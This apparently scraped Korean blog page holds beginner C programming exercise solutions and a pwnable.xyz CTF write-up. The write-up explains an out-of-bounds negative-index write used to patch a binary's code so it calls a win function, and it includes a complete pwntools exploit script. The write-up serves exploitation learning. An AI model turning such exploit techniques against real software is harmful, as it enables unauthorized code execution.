문제

어떤 자연수 p와 q가 있을 때, 만일 p를 q로 나누었을 때 나머지가 0이면 q는 p의 약수이다.

 

6을 예로 들면
6 ÷ 1 = 6 … 0
6 ÷ 2 = 3 … 0
6 ÷ 3 = 2 … 0
6 ÷ 4 = 1 … 2
6 ÷ 5 = 1 … 1
6 ÷ 6 = 1 … 0

그래서 6의 약수는 1, 2, 3, 6, 총 네 개이다.

 

두 개의 자연수 N과 K가 주어졌을 때, N의 약수들 중 K번째로 작은 수를 출력하는 프로그램을 작성하시오.

 

입력형식

첫째 줄에 N과 K가 빈칸을 사이에 두고 주어진다. N은 1 이상 10,000 이하이다. K는 1 이상 N 이하이다.

 

출력형식

첫째 줄에 N의 약수들 중 K번째로 작은 수를 출력한다. 만일 N의 약수의 개수가 K개보다 적어서 K번째 약수가 존재하지 않을 경우에는 0을 출력하시오.

 

<코드>

#include <stdio.h>

int main()
{
	int n, k, i;
	int count=0;
	
	scanf("%d %d", &n, &k);
	
	for(i=1; i<=n; i++)
	{
		if(!(n%i))
			count++;
		
		if(count == k)
			break;
	}
	
	if(i==n+1)
		i = 0;
	
	printf("%d", i);
	
	return 0;
}

'코딩 > Beginner Coder' 카테고리의 다른 글

1658 : 최대공약수와최소공배수  (0) 2020.05.26
2809 : 약수  (0) 2020.05.26
1071 : 약수와 배수  (0) 2020.05.25
1430 : 숫자의 개수  (0) 2020.05.25
1692 : 곱셈  (0) 2020.05.19

문제

주어진 정수들 중 입력받은 수의 약수와 배수의 합을 각각 출력하라.

 

입력형식

첫 줄에 정수의 개수 n (1<= n <=40)을 입력받는다. 둘째 줄에는 n개의 정수를 한 줄에 입력 받는다. 셋째 줄에는 약수와 배수를 구할 정수 m(1<=m<=100)을 입력 받는다.

 

출력형식

첫 줄에는 정수 m의 약수의 합을 둘째 줄에는 정수 m의 배수의 합을 출력한다.

 

<코드>

#include <stdio.h>

int main()
{
	int n, m;
	int arr[40] = {0, };
	int div = 0, mul = 0;
	
	scanf("%d", &n);
	
	for(int i=0; i<n; i++)
		scanf("%d", &arr[i]);
	
	scanf("%d", &m);
	
	for(int i=0; i<n; i++)
	{
		if(!(arr[i]%m))
			mul += arr[i];
		
		if(!(m%arr[i]))
			div += arr[i];
	}
	
	printf("%d\n%d\n", div, mul);
	
	return 0;
}

'코딩 > Beginner Coder' 카테고리의 다른 글

2809 : 약수  (0) 2020.05.26
1402 : 약수 구하기  (0) 2020.05.25
1430 : 숫자의 개수  (0) 2020.05.25
1692 : 곱셈  (0) 2020.05.19
2074 : 홀수 마방진  (0) 2020.05.19

문제

세 개의 자연수 A, B, C가 주어질 때 

A×B×C를 계산한 결과에 0부터 9까지 각각의 숫자가 몇 번씩 쓰였는지를 구하는 프로그램을 작성하시오.

 

예를 들어 A = 150, B = 266, C = 427 이라면
A × B × C = 150 × 266 × 427 = 17037300 이 되고,
계산한 결과 17037300 에는 0이 3번, 1이 1번, 3이 2번, 7이 2번 쓰였다.

 

입력형식

첫째 줄에 A 둘째 줄에 B 셋째 줄에 C가 주어진다.

A B C는 모두 100보다 같거나 크고 1 000보다 작은 자연수이다.

 

출력형식

첫째 줄에는 A×B×C의 결과에 0 이 몇 번 쓰였는지 출력한다.

마찬가지로 둘째 줄부터 열 번째 줄까지 A×B×C의 결과에 1부터 9까지의 숫자가 각각 몇 번 쓰였는지 차례로 한 줄에 하나씩 출력한다.

 

<코드>

#include <stdio.h>
#include <string.h>

int main()
{
	int A, B, C;
	long mul;
	char result[10] = {0, };
	
	scanf("%d %d %d", &A, &B, &C);
	
	mul = A*B*C;
	
	for(int i=1; mul/i != 0; i*=10)
		result[(mul%(i*10))/i]++;
	
	
	for(int i=0; i<10; i++)
		printf("%d\n", result[i]);
	
	return 0;
}

'코딩 > Beginner Coder' 카테고리의 다른 글

1402 : 약수 구하기  (0) 2020.05.25
1071 : 약수와 배수  (0) 2020.05.25
1692 : 곱셈  (0) 2020.05.19
2074 : 홀수 마방진  (0) 2020.05.19
1495 : 대각선 지그재그  (0) 2020.05.12

- 코드 덮기

e = ELF('./FILE_NAME')
e.asm(code_address, asm)

뭐 asm에 "call 0xdeadbeef"이런거 넣으면 code_address에 입력한 주소에 asm이 들어가도록 해서 패치할 수 있다. "e.save('FILE_PATH')"로 저장도 가능하다.

int(e.read(code_address, read_byte)[::-1].encode('hex'), 16)

그 다음에 이런식으로 코드를 가져올 수도 있음.

 

 

- got

한 번이라도 호출된 함수는 got영역에 0x7fffxxxxxxxx 이런식으로 6byte정도 써져있다.

만약 4byte만 덮을 수 있는 상황일 때 주의해서 사용해야 한다.

 

Full RELRO, NX, PIE가 걸려있는 64bit 바이너리이다.

 

어떤.. 프로그램인지는 잘 모르겠고... 그냥 똥이 나온다..

 

[main]

int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  int v3; // [rsp+Ch] [rbp-24h]
  __int64 v4; // [rsp+10h] [rbp-20h]
  __int64 v5; // [rsp+18h] [rbp-18h]
  __int64 v6; // [rsp+20h] [rbp-10h]
  unsigned __int64 v7; // [rsp+28h] [rbp-8h]

  v7 = __readfsqword(0x28u);
  puts("The Poopolator");
  setup("The Poopolator", argv);
  while ( 1 )
  {
    v6 = 0LL;
    printf(byte_BBC);
    v3 = _isoc99_scanf(&unk_BC6, &v4, &v5, &v6);
    if ( !v4 || !v5 || !v6 || v6 > 9 || v3 != 3 )
      break;
    result[v6] = v5 ^ v4;
    printf("Result: %ld\n", result[v6]);
  }
  exit(1);
}

 

main함수에서는 while문 안에서 세 개의 정수를 입력받은 후 입력 받은 수들이 0이거나 마지막 수가 9보다 크면 반복문을 탈출하고 그렇지 않다면 result 전역변수의 인덱스 v6(마지막 정수)에 v5(두번째 정수) ^ v4(첫번째 정수)를 넣어준다. 

 

result는 크기가 10인 배열이기 때문에 9보다 큰 값이 들어오면 result에 접근하지 못하도록 해준다.

그런데 9보다 큰 값만 검사하고 음수값이 입력되는지는 검사하지 않기 때문에 원하는 주소에 원하는 값을 입력할 수 있다.

 

실행권한이 있는 부분을 확인해보자.

 

 

0x0000555555554000부터 0x0000555555555000까지 실행권한이 존재한다.

 

코드영역을 수정할 수 있다.

 

call printf를 call win으로 바꿔주면 된다!

 

"call printf" offset = 0xb15

result offset = 0x202200
win offset = 0xa21

0x202200 + 8*v6 = 0xb15가 되어야 한다.

 

 

v4 = 1

v5 = "call win" ^ 1

v6 = -262878

이거를 넣어주면 된다.

 

[payload]

from pwn import *

context.log_level = 'debug'

r = remote("svc.pwnable.xyz", 30029)
#r = process('./challenge')
e = ELF('./challenge')

r.recvuntil("The Poopolator\n")

win_addr = 0xa21
result = 0x202200
#call_print = 0xb15
call_exit = 0xac8

e.asm(call_exit, "call 0xa21")
call_win = int(e.read(call_exit,5)[::-1].encode('hex'), 16)

payload = ''
payload += "1 "
payload += str(call_win^1)
payload += " "
payload += str((call_exit - result)/8)

#r.recvuntil("The Poopolater\n")
r.sendlineafter("   ", payload)
r.sendlineafter("   ", "a")
r.interactive()

 "call printf"를 덮으려고 하니까 잘 안돼서 그냥 "call exit"부분을 덮었다.

 

 

'pwnable > pwnable.xyz' 카테고리의 다른 글

[pwnable.xyz] Free Spirit  (0) 2020.05.26
[pwnable.xyz] two targets  (0) 2020.05.26
[pwnable.xyz] note  (0) 2020.05.08
[pwnable.xyz] GrowUp  (0) 2020.04.25
[pwnable.xyz] misalignment  (0) 2020.04.17

문제

(세 자리 수) × (세 자리 수)는 다음과 같은 과정을 통하여 이루어진다.

 




(1)과 (2)위치에 들어갈 세 자리 자연수가 주어질 때 (3), (4), (5), (6)위치에 들어갈 값을 구하는 프로그램을 작성하시오.

 

입력형식

첫째 줄에 (1)의 위치에 들어갈 세 자리 자연수가, 둘째 줄에 (2)의 위치에 들어갈 세자리 자연수가 주어진다.

 

출력형식

첫째 줄부터 넷째 줄까지 차례대로 (3), (4), (5), (6)에 들어갈 값을 출력한다.

 

<코드>

#include <stdio.h>

int main()
{
	int op1, op2;
	int first, second, third;
	
	scanf("%d %d", &op1, &op2);
	
	first = op1*(op2%10);
	second = op1*((op2%100)/10);
	third = op1*(op2/100);
	
	printf("%d\n", first);
	printf("%d\n", second);
	printf("%d\n", third);
	printf("%d\n", first+(second*10)+(third*100));
	
	return 0;
}

'코딩 > Beginner Coder' 카테고리의 다른 글

1071 : 약수와 배수  (0) 2020.05.25
1430 : 숫자의 개수  (0) 2020.05.25
2074 : 홀수 마방진  (0) 2020.05.19
1495 : 대각선 지그재그  (0) 2020.05.12
1331 : 문자마름모  (0) 2020.05.12

문제

홀수 정사각형의 크기를 입력 받은 후, 가로 세로 대각선의 합이 일정한 마방진을 출력하는 프로그램을 작성하시오.

 

마방진이란 1부터 N*N까지의 숫자를 한 번씩만 써서 정사각형에 배치하여 가로와 세로, 그리고 대각선의 합이 같도록 하는 것이다.

 

다음의 순서에 따라 각 위치에 차례대로 값을 넣는다.
1. 첫 번째 숫자인 1을 넣는 위치는 첫 번째 행 가운데이다.
2. 숫자가 N의 배수이면 바로 아래의 행으로 이동하여 다음의 수를 넣고
3. 그렇지 않으면 왼쪽 위로 이동하여 다음의 숫자를 넣는다. 

   만약 행이 첫 번째를 벗어나면 마지막 행으로 이동하고, 열이 첫 번째를 벗어나면 마지막 열로 이동한다.

 

 


 

 

1. 첫 번째 행 가운데(1,2)에 1을 넣는다.
2. 왼쪽 위로 이동하면 (0,1)인데 행의 위치가 처음을 벗어났으므로 마지막행(3,1)의 위치로 이동하여 2를 넣는다.
3. 왼쪽 위로 이동하면 (2,0)인데 열의 위치가 처음을 벗어났으므로 마지막열(2,3)의 위치로 이동하여 3을 넣는다.
4. 배열에 넣은 값(3)이 N의 배수이므로 바로 아래행으로(3,3) 이동하여 4를 넣는다.
5. 왼쪽 위로 이동하여 (2,2) 5를 넣는다.
6. 왼쪽 위로 이동하여 (1,1) 6를 넣는다.
7. 배열에 넣은 값(6)이 N의 배수이므로 바로 아래행으로(2,1) 이동하여 7을 넣는다.
8. 왼쪽 위로 이동하면 (1,0)인데 열의 위치가 처음을 벗어났으므로 마지막열(1,3)의 위치로 이동하여 8을 넣는다.
9. 왼쪽 위로 이동하면 (0,2)인데 행의 위치가 처음을 벗어났으므로 마지막행(3,2)의 위치로 이동하여 9를 넣는다.

 

입력형식

정사각형의 크기 n(2부터 100사이의 홀수)을 입력받는다.

 

출력형식

위에서 언급한 형태로 정사각형의 내부 숫자를 차례로 채운 후의 모습을 출력한다. 숫자 사이는 공백으로 구분한다.

 

 

<코드>

#include <stdio.h>

int main()
{
	int n;
	int arr[100][100] = {0,};
	int x,y;
	
	scanf("%d", &n);
	
	if(n<2&&n>100&&!n%2)
	{
		printf("INPUT ERROR!");
		return 0;
	}
	
	x = n/2;
	y = 0;
	
	arr[y][x] = 1;
	
	for(int i=2; i<=n*n; i++)
	{
		if(!((i-1)%n))
		{
			y++;
			arr[y][x] = i;
		}
		else
		{
			y--;
			x--;
			if(y<0)
				y = n-1;
			if(x<0)
				x = n-1;
			
			arr[y][x] = i;
				
		}
	}
	
	for(int i=0; i<n; i++)
	{
		for(int j=0; j<n; j++)
			printf("%d ", arr[i][j]);
		
		printf("\n");
	}
	
	return 0;
}

'코딩 > Beginner Coder' 카테고리의 다른 글

1430 : 숫자의 개수  (0) 2020.05.25
1692 : 곱셈  (0) 2020.05.19
1495 : 대각선 지그재그  (0) 2020.05.12
1331 : 문자마름모  (0) 2020.05.12
1707 : 달팽이사각형  (0) 2020.05.12

문제

정사각형의 크기를 입력 받은 후 대각선으로 지그재그 형태인 다음과 같은 형태로 출력하는 프로그램을 작성하시오.

 

< 처리조건>
(1) 가장 왼쪽 위의 좌표부터 차례로 숫자를 대입시킨다.
(2) 대각선을 기준으로 계속 지그재그 모양으로 채워져야 하며 숫자는 1씩 증가하는 형태로 채워나가야 한다.

 

 

 

 

 

입력형식

정사각형의 크기 n(1부터 100사이의 정수)을 입력받는다.

 

출력형식

위에서 언급한 형태의 지그재그 모양의 정사각형의 내부 숫자를 차례로 채운 후의 모습을 출력한다. 숫자 사이는 공백으로 구분한다.

 

 

<코드>

#include <stdio.h>

enum{
	RIGHTUP,
	LEFTDOWN
};

int main()
{
	int arr[100][100] = {0, };
	int n, x, y;
	int num=1, direction = LEFTDOWN;
	
	scanf("%d", &n);
	
	if(n<1||n>100)
	{
		printf("INPUT ERROR!");
		return 0;
	}
	
	x=1; y=1;
	
	while(1)
	{
		switch(direction)
		{
			case LEFTDOWN:
				arr[y][x] = num++;
				x--; y++;
				if(y>n)
				{
					x+=2;
					y--;
					direction = RIGHTUP;
					break;
				}
				if(x<1)
				{
					x++;
					direction = RIGHTUP;
				}
				break;
			
			case RIGHTUP:
				arr[y][x] = num++;
				x++; y--;
				if(x>n)
				{
					x--;
					y+=2;
					direction = LEFTDOWN;
					break;
				}
				if(y<1)
				{
					y++;
					direction = LEFTDOWN;
				}
				break;
		}
		if(x>n&&y>n)
			break;
	}
	
	for(int i=1; i<=n; i++)
	{
		for(int j=1; j<=n; j++)
			printf("%d ", arr[i][j]);
		
		printf("\n");
	}
	
	return 0;
}

'코딩 > Beginner Coder' 카테고리의 다른 글

1692 : 곱셈  (0) 2020.05.19
2074 : 홀수 마방진  (0) 2020.05.19
1331 : 문자마름모  (0) 2020.05.12
1707 : 달팽이사각형  (0) 2020.05.12
2071 : 파스칼 삼각형  (0) 2020.05.07

문제

마름모의 한 변의 길이 N을 입력받아 아래와 같이 문자마름모를 출력하는 프로그램을 작성하시오.

 

< 처리조건 >
(1) 첫 번째 행의 중앙부터 출발하여 시계 반대방향으로 'A'부터 차례대로 채워나간다. ('Z'다음에는 다시 'A'가 된다.)
(2) 바깥 부분이 다 채워지면 두 번째 행 중앙부터 다시 같은 작업을 반복한다.
(3) 같은 방법으로 마름모를 다 채워지도록 하여 출력한다.

 


 

 



 

입력형식

마름모의 한변의 길이 N(N의 범위는 100 이하의 양의 정수)을 입력받는다.

 

출력형식

주어진 형태대로 한변의 길이가 N인 문자마름모를 출력한다. 문자 사이는 한 개의 공백으로 구분한다. 주의 : 출력시 널문자('NULL', '\0')는 출력되지 않게 하세요..

 

<코드>

#include <stdio.h>

void check(char *c)
{
	if(*c > 'Z')
		*c = 'A';
}

int main()
{
	int n, x, y, len;
	char arr[200][200];
	char c = 'A';
	
	scanf("%d", &n);
	
	if(n<1||n>100)
	{
		printf("INPUT ERROR!");
		return 0;
	}
	
	for(int i=0; i<n*2-1; i++)
	{
		for(int j=0; j<n*2-1; j++)
			arr[i][j] = ' ';
	}
	
	x = n-1;
	y = 0;
	len = n-1;
	
	while(1)
	{
		//LEFTDOWN
		for(int i=0; i<len; i++)
		{
			arr[y][x] = c++;
			check(&c);
			x--;
			y++;
		}
		
		//RIGHTDOWN
		for(int i=0; i<len; i++)
		{
			arr[y][x] = c++;
			check(&c);
			x++;
			y++;
		}
		
		//RIGHTUP
		for(int i=0; i<len; i++)
		{
			arr[y][x] = c++;
			check(&c);
			x++;
			y--;
		}
		
		//LEFTUP
		for(int i=0; i<len; i++)
		{
			arr[y][x] = c++;
			check(&c);
			x--;
			y--;
		}
		
		y++;
		len--;
		
		if(!len)
		{
			arr[y][x] = c++;
			break;
		}
	}
	
	for(int i=0; i<n*2-1; i++)
	{
		for(int j=0; j<n*2-1; j++)
			printf("%c ", arr[i][j]);
		printf("\n");
	}
	
	return 0;
}

'코딩 > Beginner Coder' 카테고리의 다른 글

2074 : 홀수 마방진  (0) 2020.05.19
1495 : 대각선 지그재그  (0) 2020.05.12
1707 : 달팽이사각형  (0) 2020.05.12
2071 : 파스칼 삼각형  (0) 2020.05.07
1337 : 달팽이삼각형  (0) 2020.05.07

문제

정사각형의 크기를 입력 받은 후 시계방향으로 돌면서 다음과 같은 형태로 출력하는 프로그램을 작성하시오.

 

< 처리조건 >
(1) 가장 왼쪽 위의 좌표부터 차례로 숫자를 대입시킨다.
(2) 오른쪽으로 채워 나가다가 끝이면 다시 아래 → 왼쪽 → 위 →오른쪽의 순으로 모두 채워질때까지 반복한다.

 

 

 

 

 

 

입력형식

정사각형의 크기 n(1부터 100사이의 정수)을 입력받는다.

 

출력형식

위에서 언급한 형태로 정사각형의 내부 숫자를 차례로 채운 후의 모습을 출력한다. 숫자 사이는 공백으로 구분한다.

 

<코드>

#include <stdio.h>

enum direction{
	RIGHT,
	DOWN,
	LEFT,
	UP
};

int main()
{
	int n, num=1;
	int x=1, y=0;
	int arr[100][100] = {0, };
	int direction = RIGHT;
	
	scanf("%d", &n);
	
	if(n<1||n>100)
	{
		printf("INPUT ERROR!");
		return 0;
	}
	
	while(1)
	{
		switch(direction)
		{
			case RIGHT:
				arr[y][x] = num++;
				if(x==n||arr[y][x+1])
				{
					y++;
					direction = DOWN;
				}
				else
					x++;
				break;
			
			case DOWN:
				arr[y][x] = num++;
				if(y==n-1||arr[y+1][x])
				{
					x--;
					direction = LEFT;
				}
				else
					y++;
				break;
				
			case LEFT:
				arr[y][x] = num++;
				if(x==1||arr[y][x-1])
				{
					y--;
					direction = UP;
				}
				else
					x--;
				break;
				
			case UP:
				arr[y][x] = num++;
				if(arr[y-1][x])
				{
					x++;
					direction = RIGHT;
				}
				else
					y--;
				break;
		}
		
		if(arr[y][x])
			break;
	}
	
	for(int i=0; i<n; i++)
	{
		for(int j=1; j<=n; j++)
			printf("%d ", arr[i][j]);
		printf("\n");
	}
	
	return 0;
}

'코딩 > Beginner Coder' 카테고리의 다른 글

1495 : 대각선 지그재그  (0) 2020.05.12
1331 : 문자마름모  (0) 2020.05.12
2071 : 파스칼 삼각형  (0) 2020.05.07
1337 : 달팽이삼각형  (0) 2020.05.07
1641 : 숫자삼각형  (0) 2020.05.07

+ Recent posts